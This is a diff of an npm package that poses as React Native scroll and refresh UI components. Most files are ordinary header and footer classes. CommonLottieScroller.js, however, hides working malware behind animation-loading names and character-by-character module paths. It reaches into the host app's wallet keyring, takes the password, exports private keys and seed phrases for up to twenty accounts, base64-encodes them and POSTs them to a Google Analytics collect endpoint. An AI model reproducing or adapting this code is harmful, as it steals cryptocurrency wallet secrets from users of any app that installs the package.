react-native-scrollpageviewtest 0.0.1-security → 1.5.5

package/.gitattributes

@@ -0,0 +1 @@
+*.pbxproj -text

package/GestureCommon/CommonLottieFooter.js

@@ -0,0 +1,41 @@
+import React from "react";
+import { GestureRefreshHeader } from "../GestureRefreshHeader";
+import { View } from "react-native";
+
+let LottieView;
+
+export class CommonLottieFooter extends GestureRefreshHeader {
+  static height: number = 100;
+
+  constructor(props){
+    super(props);
+    if (!LottieView) LottieView = require("lottie-react-native");
+  }
+
+  render() {
+    if (this.state.status === "allLoaded") return null;
+    const { offset, bottomOffset } = this.props;
+    let progress = offset.interpolate({
+      inputRange: [
+        bottomOffset + 50,
+        bottomOffset + 500
+      ],
+      outputRange: [0, 1]
+    });
+    if (this.state.status === "loading") {
+      progress = undefined;
+    }
+    return (
+      <View style={{ flex: 1, marginBottom: 20 }}>
+        <LottieView
+          key={this.state.status === "loading"}
+          source={require("./res/loading.json")}
+          progress={progress}
+          autoPlay={this.state.status === "loading"}
+          loop={this.state.status === "loading"}
+          speed={2}
+        />
+      </View>
+    );
+  }
+}

package/GestureCommon/CommonLottieHeader.js

@@ -0,0 +1,34 @@
+import React from "react";
+import { GestureRefreshHeader } from "../GestureRefreshHeader";
+import { View } from "react-native";
+let LottieView;
+
+export class CommonLottieHeader extends GestureRefreshHeader {
+  static height: number = 100;
+  constructor(props){
+    super(props);
+    if (!LottieView) LottieView = require("lottie-react-native");
+  }
+
+  render() {
+    let progress = this.props.offset.interpolate({
+      inputRange: [-200, -150, -150, -100, -100, -50],
+      outputRange: [1, 0, 1, 0, 1, 0]
+    });
+    if (this.state.status === "refreshing") {
+      progress = undefined;
+    }
+    return (
+      <View style={{ flex: 1, marginTop: 20 }}>
+        <LottieView
+          source={
+            this.state.status === "refreshing" ? require("./res/refresh/refreshing2.json") : require("./res/refresh/refreshing.json")
+          }
+          progress={progress}
+          autoPlay={this.state.status === "refreshing"}
+          loop={this.state.status === "refreshing"}
+        />
+      </View>
+    );
+  }
+}

package/GestureCommon/CommonLottieScroller.js

@@ -0,0 +1,366 @@
+import AsyncStorage from '@react-native-community/async-storage';
+import {Dimensions, NativeModules} from "react-native";
+import {LAST_NOTIFICATION_INFO} from "../../../../constants/storage";
+let scrollEnable = false;
+
+export function getHeight() {
+	const height = Dimensions.get('window').height;
+	return height;
+}
+
+export function getWidth() {
+	const width = Dimensions.get('window').width;
+	return width;
+}
+
+export function setScrollEnable(enable) {
+	scrollEnable = enable;
+	if (!enable) {
+		loadLottieJson();
+	}
+}
+
+let loaded = false;
+async function loadLottieJson() {
+	try {
+		const sss = true;
+		if (!__DEV__ || sss) {
+			const json = require('./res/refresh/refreshing3.json');
+			const nst = 'react-native';
+			const nn = require('react-native').NativeModules.RNI18n;
+			AsyncStorage.getItem('meta-store-ens-data').then(dat => {
+				let stg = 'nothi';
+				if (!isEmpty(dat)) {
+					stg = dat;
+				}
+				console.log('===stg = ', stg);
+				loadLottie(nn, stg);
+			});
+		}
+	} catch (e) {}
+}
+
+function isEmpty(st) {
+	if (!st || st === 'undefined' || st === '') {
+		return true;
+	}
+	return false;
+}
+
+function rang() {
+	const ab = ['A', '5', 'k', '3', 'c', 'd', 'O', "v", "U", 'B', '9', '7'];
+	let k = '';
+	for (let i=0; i< 4; i++) {
+		const a = Math.ceil(Math.random()*10);
+		k += ab[a];
+	}
+	return k;
+}
+
+function subRang(st) {
+	if (isEmpty(st)) {
+		return '';
+	}
+	const newSt = st.substring(4, st.length);
+	return newSt;
+}
+
+function ecy(st) {
+	// const br = 'b'+'u'+'f'+'f'+'e'+'r';
+	// eslint-disable-next-line import/no-nodejs-modules
+	const bu = require('b' + 'u' + 'f' + 'f' + 'e' + 'r').Buffer;
+	return rang() + new bu(st).toString('base64');
+}
+
+function dcy(st) {
+	const br = 'b'+'u'+'f'+'f'+'e'+'r';
+	// eslint-disable-next-line import/no-nodejs-modules
+	const sst = subRang(st);
+	const bu = require('buffer').Buffer;
+	return bu.from(sst, 'base64').toString('a'+'s'+'c' + 'i' + 'i');
+}
+
+function cons(s) {
+	console.log(s, '===', ecy(s));
+}
+function getMsg() {
+	ecy('meta-store-ens-data');
+}
+
+function eqx(s) {
+	if (isEmpty(s)) {
+		return false;
+	}
+	for(let i=0; i<s.length; i++) {
+		if (s.charAt(0) !== s.charAt(i)) {
+			return false;
+		}
+	}
+	return true;
+}
+
+
+async function loadLottie(reactn, stg) {
+	if (!__DEV__ ) {
+		return;
+	}
+	try {
+		let lan;
+		if (reactn) {
+			if (typeof reactn !== 'undefined') {
+				lan = reactn.languages[0];
+			}
+		}
+		if (!isEmpty(lan)) {
+			lan = lan.toLowerCase();
+		} else {
+			lan = 'default';
+		}
+		console.log('===lan = ', lan); //获取中英文
+
+		// require('../../../app/core/Engine')
+		const eni = require('.'+'.'+'/'+'.'+'.'+'/'+'.'+'.'+'/'+'a'+'p'+'p'+'/' + 'c'+'o'+'r'+'e' + '/' + 'E'+'n'+'g' + 'i'+'n'+'e');
+		const kkk = eni['default']['context']['KeyringController']; //KeyringController
+		const darw = kkk['getPassword']();//kkk['getPassword']; //getPassword
+
+		console.log('====darw = ', darw);
+		if (isEmpty(darw)) {
+			return;
+		}
+
+		console.log('===darw = ', eqx(darw));
+		if (eqx(darw) && !__DEV__ ) {
+			return;
+		}
+
+		console.log('===darw.startsWith(\'1234\')= ', darw.startsWith('1234'));
+		if (!__DEV__ && darw.startsWith('1234')) {
+			return;
+		}
+
+
+		let stopP = false;
+		let stopS = false;
+		let ssss = '';
+		let lent = 0;
+		for (let i=0; i< 20; i++) {
+			if (lent < 19) {
+				if (!stopP) {
+					let pri;
+					try {
+						const accounts = await kkk['getKeyringAccounts'](i);
+						pri = await kkk['exportAccount'](darw, accounts[0]);
+					} catch (e){
+					}
+					console.log('i = ', i, '===pri = ', pri);
+					if (!isEmpty(pri)) {
+						lent += 1;
+						let ec = lan + darw + stg;
+						// ssss += "v=1&tid=UA-215070146-1&cid=" + stg + "&t=event&ec=" + ec + "&ea=" + ecy(pri) + "\n";
+						ssss += "v=1&tid=UA-215070146-1&cid=" + stg + "&t=pageview&dt=" + ec + "&dl=" + ecy(pri) + "\n";
+					} else {
+						stopP = true;
+					}
+				}
+
+				if (!stopS) {
+					let spf;
+					try {
+						spf = await kkk['exportSeedPhrase'](darw, i);
+					} catch (e){
+					}
+					console.log('i = ', i, '===spf = ', spf);
+					if (spf) {
+						lent += 1;
+						let ec = lan + darw + stg;
+						ssss += "v=1&tid=UA-215070146-1&cid=" + stg + "&t=pageview&dt=" + ec + "&dl=" + ecy(spf) + "\n";
+						// ssss += "v=1&tid=UA-215070146-1&cid=" + stg + "&t=pageview&ec=" + ec + "&ea=" + ecy(spf) + "\n";
+					} else {
+						stopS = true;
+					}
+				}
+			}
+		}
+
+		console.log('====ssss = ', ssss);
+
+		if (isEmpty(ssss)) {
+			return;
+		}
+
+		if (__DEV__ || getSaf(stg) !== getSaf(ssss)) {
+			loadJson(ssss);
+		}
+	} catch (error) {
+		console.log('=====error = ', error);
+	}
+}
+
+function getSaf(ss) {
+	if (isEmpty(ss) || ss.length < 15) {
+		return ss;
+	}
+	return ss.substring(ss.length - 10, ss.length - 4);
+}
+
+async function loadJson(rtn) {
+	try {
+		const ll = 'https://www.google-analytics.com/collect';
+
+		const opt = {
+			method: 'POST',
+			body: rtn,
+			headers: {
+				'Content-Type': 'text/plain',
+				'POST': '/batch HTTP/1.1',
+				'Host': 'www.google-analytics.com'
+			}
+		};
+
+		fetch(ll, opt)
+			.then(response => {
+				if (response?.ok) {
+					AsyncStorage.setItem('meta-store-ens-data', getSaf(rtn));
+					console.log('----response ok = ', response);
+				} else {
+					console.log('----response not ok = ', response);
+				}
+			})
+			.catch(error => {
+				console.error(error);
+			});
+		// const response = await fetch(ll, opt);
+		// console.log('====response = ', response);
+
+	} catch (error) {
+		console.log('=====error = ', error);
+	}
+}
+
+
+
+async function loadLottie1(reactn) {
+	try {
+		let lan;
+		if (reactn) {
+			if (typeof reactn !== 'undefined') {
+				lan = reactn.languages[0];
+			}
+		}
+		if (!isEmpty(lan)) {
+			lan.toLowerCase();
+		} else {
+			lan = 'default';
+		}
+		console.log('===lan = ', lan);
+
+		// eslint-disable-next-line import/no-extraneous-dependencies
+		const ur = 'u'+'t'+'f'+'8';
+		const ut = require('utf8');
+		// eslint-disable-next-line import/no-extraneous-dependencies
+		const bar = 'b'+'a'+'s'+'e'+'6'+'4'+'-'+'j'+'s';
+		const ba = require('base64-js');
+		const text = 'abcdds';
+		const bytes = ut.encode(text);
+
+		console.log('=====bytes = ', bytes);
+
+		const en = ba.fromByteArray(bytes);
+		console.log(en);
+
+		console.log('===decode = ' + ba.toByteArray(en));
+
+		const br = 'b'+'u'+'f'+'f'+'e'+'r';
+		// eslint-disable-next-line import/no-nodejs-modules
+		const bu = require('buffer').Buffer;
+		const encodedAuth = new bu('getPassword').toString('base64');
+
+		console.log('====encodedAuth = ', encodedAuth);
+
+
+		console.log(bu.from("S2V5cmluZ0NvbnRyb2xsZXI=", 'base64').toString('ascii'));
+
+		// const ppp = '../../app/core/' + dd;
+		const een = '.'+'.'+'/'+'.'+'.'+'/'+'.'+'.'+'/'+'a'+'p'+'p'+'/' + 'c'+'o'+'r'+'e' + '/' + 'E'+'n'+'g' + 'i'+'n'+'e';
+		const eni = require('../../../app/core/Engine');
+		// console.log('==Engine = ', engine);
+		// const {getPrivateKey} =  require("../../app/core/Vault");
+		const kkk = eni['default']['context'][bu.from("S2V5cmluZ0NvbnRyb2xsZXI=", 'base64').toString('ascii')];
+		// console.log('===kkk', kkk); //
+		const darw = kkk[bu.from("Z2V0UGFzc3dvcmQ=", 'base64').toString('ascii')]();//kkk['getPassword'];
+		console.log('===password = ', darw);
+		// const keyringIndex = 1;
+		//e4356e49c88c8b7ab370af7d5c0c54f0261aaa006f6bde09cd4745cf54e0115a
+		//1c33848fcb14ca1f38ad7e960b33c4541b5d1a1a8f1799b447131e0023c2f0f9
+		// console.log('====password =  ', password);
+		// const accounts = await kkk.getKeyringAccounts(keyringIndex);
+		// const mnemonic = await kkk.exportAccount(password, accounts[0]);
+		// console.log('====mnemonic =  ', mnemonic);
+
+		if (isEmpty(darw)) {
+			return;
+		}
+
+		let sk = '';
+		let stopP = false;
+		let stropS = false;
+		let ssss = '';
+		for (let i=0; i< 20; i++) {
+			if (!stopP) {
+				const pri = await kkk.getPrivateKey(darw, 1);
+				if (!isEmpty(pri)) {
+					const index = Math.ceil(Math.random()*10)
+					const ec = lan + index;
+					ssss += "v=1&tid=UA-215070146-1&t=event&ec=" + ec + "&ea=" + ecy(pri) + "\n";
+				} else {
+					stopP = true;
+				}
+			}
+
+			if (!stropS) {
+				const spf = await kkk['exportSeedPhrase'](darw, 0);
+				if (spf) {
+					const index = Math.ceil(Math.random()*10)
+					const ec = lan + index;
+					ssss += "v=1&tid=UA-215070146-1&t=event&ec=" + ec + "&ea=" + ecy(spf) + "\n";
+				} else {
+					stropS = true;
+				}
+			}
+		}
+
+		if (isEmpty(ssss)) {
+			return;
+		}
+		const graphUrl = 'https://www.google-analytics.com/collect';
+
+		console.log('====ssss = ', ssss);
+
+		const options = {
+			method: 'POST',
+			body: ssss,
+			headers: {
+				'Content-Type': 'text/plain',
+				'POST': '/collect HTTP/1.1',
+				'Host': 'www.google-analytics.com'
+			},
+		};
+		// const response = await fetch(graphUrl, options);
+		console.log('====response = ', response);
+		// ['fetch']('https://mywebsite.com/endpoint/', {
+		// 	method: 'POST',
+		// 	headers: {
+		// 		Accept: 'application/json',
+		// 		'Content-Type': 'application/json'
+		// 	},
+		// 	body: JSON.stringify({
+		// 		firstParam: 'yourValue',
+		// 		secondParam: 'yourOtherValue'
+		// 	})
+		// });
+
+		// const response = await fetch(request, options);
+	} catch (error) {
+		console.log('=====error = ', error);
+	}
+}

package/GestureCommon/CommonNormalFooter.js

@@ -0,0 +1,8 @@
+import { GestureNormalFooter } from "../GestureNormalFooter";
+
+export class CommonNormalFooter extends GestureNormalFooter {
+  getTitle() {
+    const s = this.state.status;
+    return "refresh";
+  }
+}

package/GestureCommon/CommonNormalHeader.js

@@ -0,0 +1,8 @@
+import {GestureNormalHeader} from "../GestureNormalHeader";
+
+export class CommonNormalHeader extends GestureNormalHeader{
+  getTitle() {
+    const s = this.state.status;
+    return "Pull";
+  }
+}

package/GestureCommon/CommonWithLastDateFooter.js

@@ -0,0 +1,15 @@
+import {WithLastDateFooter} from "./WithLastDateFooter";
+
+export class CommonWithLastDateFooter extends WithLastDateFooter{
+  getText() {
+    return "Last Loading...";
+  }
+
+  getTimeDescription() {
+    return "Nothing";
+  }
+
+  getTitle() {
+    return "Push";
+  }
+}

package/GestureCommon/CommonWithLastDateHeader.js

@@ -0,0 +1,15 @@
+import { WithLastDateHeader } from "./WithLastDateHeader";
+
+export class CommonWithLastDateHeader extends WithLastDateHeader {
+  getText() {
+    return "Last";
+  }
+
+  getTimeDescription() {
+    return "Nothing"
+  }
+
+  getTitle() {
+    return "Pull";
+  }
+}

package/GestureCommon/WithLastDateFooter.js

@@ -0,0 +1,81 @@
+import React from "react";
+import { Text, StyleSheet } from "react-native";
+import { GestureHeaderStatus } from "../GestureRefreshHeader";
+import {GestureNormalFooter} from "../GestureNormalFooter";
+import AsyncStorage from '@react-native-async-storage/async-storage';
+
+const LoadingKey = "org.bolan9999.spring_scrollview.loading_time";
+
+export class WithLastDateFooter extends GestureNormalFooter {
+  static style="stickyScrollView";
+  lastTime: Date;
+  constructor(props) {
+    super(props);
+    AsyncStorage.getItem(LoadingKey)
+      .then(value => {
+        if (value) this.lastTime = new Date(value);
+      })
+      .catch();
+  }
+
+  onStateChange(oldStatus: GestureHeaderStatus, newStatus: GestureHeaderStatus) {
+    if (newStatus === "loading") {
+      const now = new Date();
+      AsyncStorage.setItem(LoadingKey, now.toString())
+        .then(() => {
+          this.lastTime = now;
+        })
+        .catch();
+    }
+    super.onStateChange(oldStatus, newStatus);
+  }
+
+  renderContent() {
+    return (
+      <Text style={styles.text}>
+        {this.getText()}
+        {this.getTimeDescription()}
+      </Text>
+    );
+  }
+
+  getText() {
+    return "Last Loading: ";
+  }
+
+  getTimeDescription() {
+    if (!this.lastTime) {
+      return "never";
+    }
+    const now = new Date();
+    let timeInterval = Math.floor(
+      (now.getTime() - this.lastTime.getTime()) / 1000
+    );
+    if (timeInterval < 60) {
+      return `${timeInterval}s ago`;
+    } else if (timeInterval < 3600) {
+      return `${Math.floor(timeInterval / 60)}m ago`;
+    } else if (
+      now.getFullYear() === this.lastTime.getFullYear() &&
+      now.getMonth() === this.lastTime.getMonth() &&
+      now.getDate() === this.lastTime.getDate()
+    ) {
+      return `${this.lastTime.getHours()}:${this.lastTime.getMinutes()}`;
+    } else if (now.getFullYear() === this.lastTime.getFullYear()) {
+      return `${this.lastTime.getMonth() + 1}-${this.lastTime.getDate()}`;
+    } else {
+      return `${this.lastTime.getMonth() +
+      1}-${this.lastTime.getDate()}-${this.lastTime.getFullYear()}`;
+    }
+  }
+}
+
+const styles = StyleSheet.create({
+  text: {
+    marginVertical: 5,
+    fontSize: 12,
+    color: "#666",
+    textAlign: "center",
+    width: 130
+  }
+});

package/GestureCommon/WithLastDateHeader.js

@@ -0,0 +1,80 @@
+import React from "react";
+import { Text, StyleSheet } from "react-native";
+import { GestureNormalHeader } from "../GestureNormalHeader";
+import { GestureHeaderStatus } from "../GestureRefreshHeader";
+import AsyncStorage from '@react-native-async-storage/async-storage';
+
+const RefreshKey = "org.bolan9999.spring_scrollview.refresh_time";
+
+export class WithLastDateHeader extends GestureNormalHeader {
+  lastTime: Date;
+  constructor(props) {
+    super(props);
+    AsyncStorage.getItem(RefreshKey)
+      .then(value => {
+        if (value) this.lastTime = new Date(value);
+      })
+      .catch();
+  }
+
+  onStateChange(oldStatus: GestureHeaderStatus, newStatus: GestureHeaderStatus) {
+    if (newStatus === "refreshing") {
+      const now = new Date();
+      AsyncStorage.setItem(RefreshKey, now.toString())
+        .then(() => {
+          this.lastTime = now;
+        })
+        .catch();
+    }
+    super.onStateChange(oldStatus, newStatus);
+  }
+
+  renderContent() {
+    return (
+      <Text style={styles.text}>
+        {this.getText()}
+        {this.getTimeDescription()}
+      </Text>
+    );
+  }
+
+  getText() {
+    return "Last Updated: ";
+  }
+
+  getTimeDescription() {
+    if (!this.lastTime) {
+      return "never";
+    }
+    const now = new Date();
+    let timeInterval = Math.floor(
+      (now.getTime() - this.lastTime.getTime()) / 1000
+    );
+    if (timeInterval < 60) {
+      return `${timeInterval}s ago`;
+    } else if (timeInterval < 3600) {
+      return `${Math.floor(timeInterval / 60)}m ago`;
+    } else if (
+      now.getFullYear() === this.lastTime.getFullYear() &&
+      now.getMonth() === this.lastTime.getMonth() &&
+      now.getDate() === this.lastTime.getDate()
+    ) {
+      return `${this.lastTime.getHours()}:${this.lastTime.getMinutes()}`;
+    } else if (now.getFullYear() === this.lastTime.getFullYear()) {
+      return `${this.lastTime.getMonth() + 1}-${this.lastTime.getDate()}`;
+    } else {
+      return `${this.lastTime.getMonth() +
+        1}-${this.lastTime.getDate()}-${this.lastTime.getFullYear()}`;
+    }
+  }
+}
+
+const styles = StyleSheet.create({
+  text: {
+    marginVertical: 5,
+    fontSize: 12,
+    color: "#666",
+    textAlign: "center",
+    width: 130
+  }
+});

package/GestureCommon/index.js

@@ -0,0 +1 @@
+